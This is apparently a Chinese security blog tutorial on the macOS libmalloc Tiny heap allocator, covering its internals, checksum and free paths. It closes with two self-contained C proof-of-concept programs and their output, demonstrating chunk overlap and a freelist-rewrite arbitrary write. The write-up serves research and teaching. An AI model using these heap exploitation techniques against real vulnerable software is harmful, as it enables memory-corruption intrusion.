跳跳糖
背景
libmalloc为MacOS以及IOS中的用户态下的堆管理器，在实现细节上与linux下常用的glibc有较大的不同，本文初步介绍一下libmalloc中Tiny堆的管理机制和一些基本的漏洞利用。
环境与调试方式
在MacOS 11中引入了动态链接库缓存机制，各个系统动态链接库将不会以文件的形式保存在文件系统中，文件系统中也不存在各个系统动态链接库副本，不便于我们去研究macos的堆机制以及相关利用。网上有对MacOS11之后动态链接库缓存提取的过程，有兴趣的小伙伴可以尝试一下。本文主要分析在MacOS10.15.7下的libmalloc-283.100.6。
MacOS可通过虚拟机进行安装，MacOS虚拟机安装的资料在网上较为齐全。
在MacOS上安装使用GDB还是比较麻烦的，推荐使用LLDB。LLDB是Xcode默认的调试器，命令与使用与GDB也比较相似。相比于GDB，LLDB可能插件可能不是十分完善，这里推荐Voltron和lldbinit。
libmalloc堆基本介绍
在libmalloc中按照申请时的大小分为三种类型，分别为Tiny、Small、Large，还存在以其大小范围如下表所示：
| 类型 | 大小范围 |
|---|---|
| Tiny | size <= 1008B |
| Small | 1008B < size <= 128KB |
| Large | 128KB < size |
注：实际还存在Medium类型的堆块，仅当系统内存大于等于32GB时开启，作为Small与Large类型之间的补充，其相关机制与Small类型的堆块基本一致。
Tiny Heap
在Tiny和Small中申请分配的最小单位称之为Quantum，Quantum在Tiny堆中的大小为0x10个字节，在Small堆中的大小为0x200字节。申请返回的堆块大小都为Quantum大小的整数倍。
Tiny Region
与Linux下的通过在申请的chunk前添加头部记录当前chunk的信息不同，在libmalloc中申请多大的空间便会返回多大的空间，而相关信息的记录通过region来完成。同时每个tiny region包含64504个block，每个block的大小为一个Quantum(0x10)。其结构体如下所示：
typedef struct tiny_region {
// This must be first (because TINY_REGION_METADATA assumes it).
// 通过trailer将各个Region关联起来
region_trailer_t trailer;
// The interleaved bit arrays comprising the header and inuse bitfields.
// The unused bits of each component in the last pair will be initialized to sentinel values.
// 用于记录当前region中各个block的分配与使用情况
tiny_header_inuse_pair_t pairs[CEIL_NUM_TINY_BLOCKS_WORDS];
// tiny_header_inuse_pair_t的结构如下，header bitmap与inuse bitmap交织组合。
// typedef struct tiny_header_inuse_pair {
// uint32_t header;
// uint32_t inuse;
// } tiny_header_inuse_pair_t;
// Indices of the first and last free block in this region. Value is the
// block index + 1 so that 0 indicates no free block in this region for the
// corresponding slot.
region_free_blocks_t free_blocks_by_slot[NUM_TINY_SLOTS];
// 用作填充 保证tiny_region的大小为0x100000
uint8_t pad[TINY_REGION_PAD];
// Intended to catch backward overspills from the heap into this structure.
region_cookie_t region_cookie;
// 存放当前region的以Quantum为单位的block NUM_TINY_BLOCKS大小为64504
// 一个region可提供64504*Q的堆空间
// 根据计算每个region block的起始位置为0x4080
tiny_block_t blocks[NUM_TINY_BLOCKS];
} * tiny_region_t;
Region具体是如何判断当前Region中哪些block可用哪些block不可用呢？主要是通过region结构中的bitmap(即结构体中pairs)来进行判断，bitmap实际由header bitmap与inuse bitmap交织组成，其中每一个bit都分别用于记录所对应block的分配情况以及释放与否。大致的规则如下：
1. 如果一块区域已经被使用，那么这块区域的第一个block在header bitmap和inuse bitmap中对应的值都是1。
2. 如果一块区域是空闲的，那么这块区域的第一个block在header bitmap和inuse bitmap中对应的值分别是1和0.
3. 其他情况下，header bitmap都为0。
4. 其他情况下，inuse bitmap的值无关紧要，任意值均可。
例如，当进行a=malloc(0x20)，返回地址0x104080，此时0x104080所对应的header bitmap和inuse bitmap均为1，表示当前block为所分配堆区域的头部且在被使用中，而至下一个header bitmap为1即0x1040a0之间的区域即为所分配的堆区域
进一步的，进行b=malloc(0x30)，返回地址为0x1040a0，同理,0x1040a0~00x1040c0即所分配的空间。
然后对a进行释放，此时的bitmap如下图所示，0x104080所对应的header bitmap为1但inuse bitmap为0，表示从0x104080起始至0x1040a0之间的区域为未被使用的空间。
Magazine
Magazine类似于glibc中的arena，用于管理各个Region。在Magazine结构体中，我们主要关注mag_last_free、mag_last_free_msize、mag_last_free_rgn以及mag_free_list这四个变量。
在Tiny堆中存在一个缓存机制，当一个chunk(size <= 0x100)被释放时，不会直接放入对应的freelist，而是通过magazine中mag_last_free、mag_last_free_msize、mag_last_free_rgn的记录当前被释放的chunk的地址、size以及所对应的region。当下一个chunk(size <= 0x100)被释放时，存在缓存中chunk才会被归类至对应的freelist中。
在magazine中还有freelist，用于存放被释放的chunk，以一个Quantum为一个单元，一共有64个free_list，free_list为一个双向列表，但是freelist中的第一个chunk仅保存next指针，prev指针为空并不指向freelist。
typedef struct magazine_s { // vm_allocate()'d, so the array of magazines is page-aligned to begin with.
// Take magazine_lock first, Depot lock when needed for recirc, then szone->{tiny,small}_regions_lock when needed for alloc
_malloc_lock_s magazine_lock MALLOC_CACHE_ALIGN;
// Protection for the crtical section that does allocate_pages outside the magazine_lock
volatile boolean_t alloc_underway;
// One element deep "death row", optimizes malloc/free/malloc for identical size.
// 保存最后一次free的chunk地址
void *mag_last_free;
// 保存最后一次free的mszie
msize_t mag_last_free_msize; // msize for mag_last_free
#if MALLOC_TARGET_64BIT
uint32_t _pad;
#endif
// 保存最后一次free的chunk所在的region
region_t mag_last_free_rgn; // holds the region for mag_last_free
// 被释放chunk会存入free_list中，以一个quantum为大小，有64个freelist
free_list_t mag_free_list[MAGAZINE_FREELIST_SLOTS];
// 用于标记所对应free_list是否被使用，即freelist中是否有被释放的chunk。
uint32_t mag_bitmap[MAGAZINE_FREELIST_BITMAP_WORDS];
// the first and last free region in the last block are treated as big blocks in use that are not accounted for
size_t mag_bytes_free_at_end;
size_t mag_bytes_free_at_start;
region_t mag_last_region; // Valid iff mag_bytes_free_at_end || mag_bytes_free_at_start > 0
// bean counting ...
size_t mag_num_bytes_in_objects;
size_t num_bytes_in_magazine;
unsigned mag_num_objects;
// recirculation list -- invariant: all regions owned by this magazine that meet the emptiness criteria
// are located nearer to the head of the list than any region that doesn't satisfy that criteria.
// Doubly linked list for efficient extraction.
unsigned recirculation_entries;
// 用于组织region
region_trailer_t *firstNode;
region_trailer_t *lastNode;
#if MALLOC_TARGET_64BIT
uintptr_t pad[320 - 14 - MAGAZINE_FREELIST_SLOTS -
(MAGAZINE_FREELIST_BITMAP_WORDS + 1) / 2];
#else
uintptr_t pad[320 - 16 - MAGAZINE_FREELIST_SLOTS -
MAGAZINE_FREELIST_BITMAP_WORDS];
#endif
} magazine_t;
Rack以及checksum机制
Rack作为更上一层的结构体，对magazine进行管理，该结构体中记录了region的数量、magazine的数量以及保存了每一个magazine地址的数组。
该结构体中我们最需要了解的是cookie这一变量，在该rack中所有需要进行checksum的指针都需要cookie，而cookie会在程序启动时随机生成。
typedef struct rack_s {
/* Regions for tiny objects */
_malloc_lock_s region_lock MALLOC_CACHE_ALIGN;
rack_type_t type;
size_t num_regions;
size_t num_regions_dealloc;
region_hash_generation_t *region_generation;
region_hash_generation_t rg[2];
region_t initial_regions[INITIAL_NUM_REGIONS];
int num_magazines;
unsigned num_magazines_mask;
int num_magazines_mask_shift;
uint32_t debug_flags;
// array of per-processor magazines
magazine_t *magazines;
uintptr_t cookie;
uintptr_t last_madvise;
} rack_t;
例如，当一个大小为0x50的chunk释放时他的内存空间如下图所示，在头部他会分别保存prev以及next指针，同时在头部与尾部保存mszie，msize并不是指chunk的大小，而是指该chunk包含几个Quantum。
但是由于checksum的机制，释放后chunk保存的prev以及next指针并不是直接的地址，而是通过指针计算校验和以及原始指针移位后或运算的结果，在计算的过程中用到了rack中的cookie，具体的计算过程如下。实际利用中由于通过计算的校验和仅有4bit，可通过1/16概率的爆破绕过此机制。
static MALLOC_INLINE uintptr_t
free_list_checksum_ptr(rack_t *rack, void *ptr)
{
uintptr_t p = (uintptr_t)ptr;
//free_list_gen_checksum() 返回传入指针地址的每一字节的字节和
return (p >> 4) | ((free_list_gen_checksum(p ^ rack->cookie) & (uintptr_t)0xF) << 60); // compiles to rotate instruction
}
注：当程序未开启ASLR保护时，cookie为固定值0。
Tiny堆的申请
Tiny堆的首先会去magazine中去比较cache中是否有符合大小的chunk，如果有的话直接返回。
void *
tiny_malloc_should_clear(rack_t *rack, msize_t msize, boolean_t cleared_requested)
{
...
if (tiny_mag_ptr->mag_last_free_msize == msize) {
// we have a winner
tiny_mag_ptr->mag_last_free = NULL;
tiny_mag_ptr->mag_last_free_msize = 0;
tiny_mag_ptr->mag_last_free_rgn = NULL;
SZONE_MAGAZINE_PTR_UNLOCK(tiny_mag_ptr);
CHECK(szone, __PRETTY_FUNCTION__);
if (cleared_requested) {
memset(ptr, 0, TINY_BYTES_FOR_MSIZE(msize));
}
#if DEBUG_MALLOC
if (LOG(szone, ptr)) {
malloc_report(ASL_LEVEL_INFO, "in tiny_malloc_should_clear(), tiny cache ptr=%p, msize=%d\n", ptr, msize);
}
#endif
return ptr;
}
...
}
如果没有的话会去对应的freelist去查看，是否存在对应的chunk存在于freelist中，若存在则进行分配。
void *
tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize)
{
...
ptr = the_slot->p;
if (ptr) {
next = free_list_unchecksum_ptr(rack, &ptr->next);
if (next) {
next->previous = ptr->previous;
} else {
BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot);
}
the_slot->p = next;
this_msize = msize;
#if DEBUG_MALLOC
if (LOG(szone, ptr)) {
malloc_report(ASL_LEVEL_INFO, "in tiny_malloc_from_free_list(), exact match ptr=%p, this_msize=%d\n", ptr, this_msize);
}
#endif
tiny_update_region_free_list_for_remove(slot, ptr, next);
goto return_tiny_alloc;
}
}
如果freelist中不存在对应大小的chunk时，则会从大于当前申请大小的freelist中取出chunk并切割，将剩余部分放入对应的freelist中。
void *
tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize)
{
...
#if defined(__LP64__)
bitmap = ((uint64_t *)(tiny_mag_ptr->mag_bitmap))[0] & ~((1ULL << slot) - 1);
#else
bitmap = tiny_mag_ptr->mag_bitmap[0] & ~((1 << slot) - 1);
#endif
if (!bitmap) {
goto try_tiny_malloc_from_end;
}
slot = BITMAPV_CTZ(bitmap);
limit = free_list + NUM_TINY_SLOTS;
free_list += slot;
if (free_list < limit) {
ptr = free_list->p;
if (ptr) {
next = free_list_unchecksum_ptr(rack, &ptr->next);
free_list->p = next;
if (next) {
next->previous = ptr->previous;
} else {
BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot);
}
this_msize = get_tiny_free_size(ptr);
tiny_update_region_free_list_for_remove(slot, ptr, next);
goto add_leftover_and_proceed;
}
#if DEBUG_MALLOC
malloc_report(ASL_LEVEL_ERR, "in tiny_malloc_from_free_list(), mag_bitmap out of sync, slot=%d\n", slot);
#endif
}
}
如果大于申请大小的freelist中仍然没有可分配的chunk时，则会去region剩余的block中切割新的chunk进行分配。
void *
tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize)
{
...
// Let's see if we can use tiny_mag_ptr->mag_bytes_free_at_end
if (tiny_mag_ptr->mag_bytes_free_at_end >= TINY_BYTES_FOR_MSIZE(msize)) {
ptr = (tiny_free_list_t *)((uintptr_t)TINY_REGION_HEAP_END(tiny_mag_ptr->mag_last_region) - tiny_mag_ptr->mag_bytes_free_at_end);
tiny_mag_ptr->mag_bytes_free_at_end -= TINY_BYTES_FOR_MSIZE(msize);
if (tiny_mag_ptr->mag_bytes_free_at_end) {
// let's add an in use block after ptr to serve as boundary
set_tiny_meta_header_in_use_1((unsigned char *)ptr + TINY_BYTES_FOR_MSIZE(msize));
}
this_msize = msize;
#if DEBUG_MALLOC
if (LOG(szone, ptr)) {
malloc_report(ASL_LEVEL_INFO, "in tiny_malloc_from_free_list(), from end ptr=%p, msize=%d\n", ptr, msize);
}
#endif
goto return_tiny_alloc;
}
}
最后如果region中的剩余空间仍然不够，则会通过系统调用申请新的region来进行分配。
Tiny堆的释放
在free时首先会对不知道释放size的chunk通过bitmap检查是否存在double free，若存在double free则直接抛出异常。
void
free_tiny(rack_t *rack, void *ptr, region_t tiny_region, size_t known_size,
boolean_t partial_free)
{
...
// ptr is known to be in tiny_region
if (known_size) {
msize = TINY_MSIZE_FOR_BYTES(known_size + TINY_QUANTUM - 1);
} else {
msize = get_tiny_meta_header(ptr, &is_free);
if (is_free) {
free_tiny_botch(rack, ptr);
return;
}
}
...
}
若释放chunk的size小于0x100，将释放的chunk放入magazine中的缓存中，若缓存中已有chunk，则将缓存中的chunk归类至对应freelist。通过tiny_free_no_lock()函数，在置入freelist的时候，会对被释放的chunk的前向chunk以及后向chunk进行检查，若为已经释放的chunk，则进行堆块合并，并修改对应的bitmap以及进行unlink操作，将chunk从freelist中解链，最后将合并后的chunk放入对应的。
void
free_tiny(rack_t *rack, void *ptr, region_t tiny_region, size_t known_size,
boolean_t partial_free)
{
if (DEPOT_MAGAZINE_INDEX != mag_index && !partial_free) {
if (msize < TINY_QUANTUM) { // to see if the bits fit in the last 4 bits
void *ptr2 = tiny_mag_ptr->mag_last_free; // Might be NULL
msize_t msize2 = tiny_mag_ptr->mag_last_free_msize;
region_t rgn2 = tiny_mag_ptr->mag_last_free_rgn;
/* check that we don't already have this pointer in the cache */
if (ptr == ptr2) {
free_tiny_botch(rack, ptr);
return;
}
if ((rack->debug_flags & MALLOC_DO_SCRIBBLE) && msize) {
memset(ptr, SCRABBLE_BYTE, TINY_BYTES_FOR_MSIZE(msize));
}
tiny_mag_ptr->mag_last_free = ptr;
tiny_mag_ptr->mag_last_free_msize = msize;
tiny_mag_ptr->mag_last_free_rgn = tiny_region;
if (!ptr2) {
SZONE_MAGAZINE_PTR_UNLOCK(tiny_mag_ptr);
CHECK(szone, __PRETTY_FUNCTION__);
return;
}
msize = msize2;
ptr = ptr2;
tiny_region = rgn2;
}
}
region_trailer_t *trailer = REGION_TRAILER_FOR_TINY_REGION(tiny_region);
mag_index_t refreshed_index;
while (mag_index != (refreshed_index = trailer->mag_index)) { // Note assignment
SZONE_MAGAZINE_PTR_UNLOCK(tiny_mag_ptr);
mag_index = refreshed_index;
tiny_mag_ptr = &(rack->magazines[mag_index]);
SZONE_MAGAZINE_PTR_LOCK(tiny_mag_ptr);
}
if (tiny_free_no_lock(rack, tiny_mag_ptr, mag_index, tiny_region, ptr,
msize, partial_free)) {
SZONE_MAGAZINE_PTR_UNLOCK(tiny_mag_ptr);
}
CHECK(szone, __PRETTY_FUNCTION__);
}
Tiny Heap的相关利用
chunk overlap attack
首先申请四个chunk，然后依次释放p2以及p4，此时p2位于freelist[4]中，p4位于缓存中。
然后将p2的msize位由5改为9，然后依次释放p1以及p3，此时p3于缓存中，p2会被置入freelist中之前，会与p2合并，但由于p2的msize被修改成9，合并后p1的msize变为0xc，相当于合并了p2以及p3，进而造成了堆块重叠。此时申请大小为0xc0和0x40的chunk，即可通过对大小为0xc0 chunk的修改实现对0x40 chunk的修改。
POC：
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main(int argc, const char * argv[]) {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
void *p1,*p2,*p3,*p4,*p5;
p1 = malloc(0x30);
p2 = malloc(0x50);
p3 = malloc(0x40);
p4 = malloc(0x20);
free(p2);
free(p4);
puts("p2 has been sorted in free_list.");
printf("p2's addr: %p\n", p2);
printf("p2's prev: %p\n", *(uint64_t *)p2);
printf("p2's next: %p\n", *(uint64_t *)(p2+0x8));
printf("p2's msize: %p\n\n", *(uint64_t *)(p2+0x10));
printf("change p2's msize\n");
// 这里绕过了prev指针以及next指针直接修改msize，可通过checksum的机制
*(uint8_t*)(p2+0x10) = 0x9;
printf("p2's addr: %p\n", p2);
printf("p2's prev: %p\n", *(uint64_t *)p2);
printf("p2's next: %p\n", *(uint64_t *)(p2+0x8));
printf("p2's msize: %p\n\n", *(uint64_t *)(p2+0x10));
free(p1);
free(p3);
printf("free p3(%p) to cache, free p1(%p) to free_list\n", p3, p1);
// 在p3从缓存中替换p1, p1在归类进入free_list时，会与后向的p2进行合并
// 由于p2的msize已被修改成0x9，与p1合并后大小为0xc(3+9)，与p3存在重叠
void* p1_new = malloc(0xc0);
printf("new p1(&p) with size 0xc0. \n", p1_new);
void* p3_new = malloc(0x40);
printf("get p3(%p) from cache\n", p3_new);
*(uint64_t*)p3_new = 0x2333;
printf("p3(%p) data: %p\n", p3_new, *(uint64_t*)p3_new);
// 利用堆块重叠从p1修改p3数据
*(uint64_t*)(p1_new+0x80) = 0xdeadbeef;
printf("p3(%p) data: %p\n", p3_new, *(uint64_t*)p3_new);
return 0;
}
运行结果：
p2 has been sorted in free_list.
p2's addr: 0x7fc85fc057d0
p2's prev: 0x2000000000000000
p2's next: 0x2000000000000000
p2's msize: 0x5
change p2's msize
p2's addr: 0x7fc85fc057d0
p2's prev: 0x2000000000000000
p2's next: 0x2000000000000000
p2's msize: 0x9
free p3(0x7fc85fc05820) to cache, free p1(0x7fc85fc057a0) to free_list
new p1(&p) with size 0xc0.
get p3(0x7fc85fc05820) from cache
p3(0x7fc85fc05820) data: 0x2333
p3(0x7fc85fc05820) data: 0xdeadbeef
freelist重写攻击
tiny堆从freelist申请时，将链表的第一个节点取出后，将后续的节点的prev更新为第一个节点的prev，若当我们可以控制第一个节点的prev以及next时，就可实现任意地址写（16字节对齐的地址）。
void *
tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize)
{
...
ptr = the_slot->p;
if (ptr) {
next = free_list_unchecksum_ptr(rack, &ptr->next);
if (next) {
next->previous = ptr->previous;
} else {
BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot);
}
}
首先申请5个chunk，然后依次释放p1、p3、p5，此时p5位于缓存中，p1、p3位于freelist[1]中，且p3为freelist的头结点。
然后修改p3的prev域以及next域分别为修改的内容以及经过checksum的目标地址，然后重新申请p3，在解链的时候就会将内容写至目标地址中，这里需要1/16的爆破。
poc：
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
uint64_t victim = 0x2333;
int main(int argc, const char *argv[])
{
void *p1, *p2, *p3, *p4, *p5;
p1 = malloc(0x20);
p2 = malloc(0x20);
p3 = malloc(0x20);
p4 = malloc(0x20);
p5 = malloc(0x30);
printf("victim(%p) value: %p\n", &victim, victim);
free(p1);
free(p3);
free(p5);
printf("free_list[1]: p3(%p) --> p1(%p)\n", p3, p1);
printf("cache: p5(%p)\n", p5);
printf("p1's addr: %p\n", p1);
printf("p1's prev: %p\n", *(uint64_t *)p1);
printf("p1's next: %p\n", *(uint64_t *)(p1 + 0x8));
printf("p1's msize: %p\n", *(uint64_t *)(p1 + 0x10));
printf("p3's addr: %p\n", p3);
printf("p3's prev: %p\n", *(uint64_t *)p3);
printf("p3's next: %p\n", *(uint64_t *)(p3 + 0x8));
printf("p3's msize: %p\n\n", *(uint64_t *)(p3 + 0x10));
// p3->prev = 0xdeadbeef
*(uint64_t *)p3 = 0xdeadbeef;
// p3->next = checksum(&victim)
*(uint64_t *)(p3 + 8) = ((5 << 60) | (uint64_t)&victim >> 4);
printf("p3's addr: %p\n", p3);
printf("p3's prev: %p\n", *(uint64_t *)p3);
printf("p3's next: %p\n", *(uint64_t *)(p3 + 0x8));
printf("p3's msize: %p\n\n", *(uint64_t *)(p3 + 0x10));
// 1/16爆破
malloc(0x20);
printf("victim(%p) value: %p\n", &victim, victim);
return 0;
}
运行结果：
victim(0x10e2c2020) value: 0x2333
free_list[1]: p3(0x7fe1c0c057e0) --> p1(0x7fe1c0c057a0)
cache: p5(0x7fe1c0c05820)
p1's addr: 0x7fe1c0c057a0
p1's prev: 0x300007fe1c0c057e
p1's next: 0x4000000000000000
p1's msize: 0x2
p3's addr: 0x7fe1c0c057e0
p3's prev: 0x4000000000000000
p3's next: 0x300007fe1c0c057a
p3's msize: 0x2
p3's addr: 0x7fe1c0c057e0
p3's prev: 0xdeadbeef
p3's next: 0x10e2c202
p3's msize: 0x2
victim(0x10e2c2020) value: 0x2333
